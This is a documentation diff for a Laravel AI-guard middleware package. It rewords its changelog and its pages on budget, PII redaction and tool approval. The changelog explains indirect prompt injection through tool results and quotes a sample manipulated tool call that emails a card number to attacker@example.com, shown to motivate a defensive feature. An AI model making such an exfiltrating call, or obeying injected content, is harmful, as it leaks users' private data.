diff --git a/docs/changelog.mdx b/docs/changelog.mdx index 12659ce..6ce345f 100644 --- a/docs/changelog.mdx +++ b/docs/changelog.mdx @@ -80,7 +80,7 @@ description: "Product updates and release notes for Intercept, including depende Intercept has always inspected what goes *out*. It never saw what comes back in. Tool results, retrieved documents, and conversation history do not pass through the middleware pipeline, and that is exactly where indirect prompt injection lives. - When an agent is manipulated by content Intercept never saw, the damage almost always surfaces as a tool call: + When content that Intercept never saw manipulates an agent, the damage almost always surfaces as a tool call: ```text send_email(to: "attacker@example.com", body: "card 4111111111111111") @@ -152,7 +152,7 @@ description: "Product updates and release notes for Intercept, including depende - logged - blocked - Documentation has also been updated to include the new supported entity type and usage examples. + Also updated the documentation to include the new supported entity type and usage examples. @@ -165,7 +165,7 @@ description: "Product updates and release notes for Intercept, including depende - logged - blocked - Documentation has also been updated to include the new supported entity type and usage examples. + Also updated the documentation to include the new supported entity type and usage examples. @@ -182,7 +182,7 @@ description: "Product updates and release notes for Intercept, including depende - `PromptInjectionGuardException` - `PIIRedactorException` - This lets applications catch one shared Intercept exception when they want simpler error handling, while still keeping middleware-specific exceptions available for more granular control. + This lets you catch one shared Intercept exception for simpler error handling. Middleware-specific exceptions remain available for more granular control. Also added documentation for handling blocked prompts and improved the release title generation used across repositories. diff --git a/docs/middleware/budget-guard.mdx b/docs/middleware/budget-guard.mdx index 6b2471e..9cd79fb 100644 --- a/docs/middleware/budget-guard.mdx +++ b/docs/middleware/budget-guard.mdx @@ -67,7 +67,7 @@ The whole run, including the cost already accrued by its earlier steps. The Lara new BudgetGuard(maxCostPerSession: 10.00) ``` -The spend recorded against a session key, within a rolling window (`sessionWindowHours`, default 24). A session is only tracked once a key can be resolved for the step. By default that is the agent's own conversation ID, for an agent that implements `RemembersConversations`: +The spend recorded against a session key, within a rolling window (`sessionWindowHours`, default 24). The middleware only tracks a session once it can resolve a key for the step. By default that is the agent's own conversation ID, for an agent that implements `RemembersConversations`: ```php use Laravel\Ai\Concerns\RemembersConversations; @@ -90,7 +90,7 @@ new BudgetGuard( ) ``` -A resolver that returns `null` means the step cannot be attributed to a session, so the budget is silently skipped for that step. +When a resolver returns `null`, the middleware cannot attribute the step to a session. It silently skips the budget for that step. ### Per-user daily budget @@ -201,7 +201,7 @@ try { ## Custom callback handling -A callback receives the step, the breach, and the cost estimate, and fully replaces the configured action. The return value is ignored, so throw to stop the run: +A callback receives the step, the breach, and the cost estimate, and fully replaces the configured action. The middleware ignores the return value, so throw to stop the run: ```php use Laravel\Ai\PendingStep; @@ -243,6 +243,6 @@ The cost estimate before the call is a character-based approximation unless you Pricing changes faster than this package releases. Confirm the built-in rates against your provider's own pricing page and override the ones that matter to you. -The session and daily budgets are tracked in the cache, not the database, and reset on their own window rather than at a fixed clock boundary. They require a key resolver that can identify the session or the user; without one, those budgets are silently skipped. +The session and daily budgets are tracked in the cache, not the database, and reset on their own window rather than at a fixed clock boundary. They require a key resolver that can identify the session or the user. Without one, the middleware silently skips those budgets. When a run's model changes between steps, the per-request budget prices the earlier steps' accrued usage at the current step's rate, which is an approximation. diff --git a/docs/middleware/pii-redactor.mdx b/docs/middleware/pii-redactor.mdx index 9c5985e..a26c944 100644 --- a/docs/middleware/pii-redactor.mdx +++ b/docs/middleware/pii-redactor.mdx @@ -360,7 +360,7 @@ This passes through unchanged. ### Allowing email domains -Use `allowedDomains` when all email addresses from a trusted domain should be ignored. +Use `allowedDomains` when you want the middleware to ignore all email addresses from a trusted domain. ```php public function middleware(): array diff --git a/docs/middleware/tool-approval-guard.mdx b/docs/middleware/tool-approval-guard.mdx index dedc746..79d408b 100644 --- a/docs/middleware/tool-approval-guard.mdx +++ b/docs/middleware/tool-approval-guard.mdx @@ -226,7 +226,7 @@ The `type` is one of `denied_tool`, `pii`, or `injection`. The `detail` carries ## Custom callback handling -A callback receives the step, the step response, and the findings, and fully replaces the configured action. The return value is ignored, so throw to stop the run: +A callback receives the step, the step response, and the findings, and fully replaces the configured action. The middleware ignores the return value, so throw to stop the run: ```php use Laravel\Ai\Gateway\StepResponse;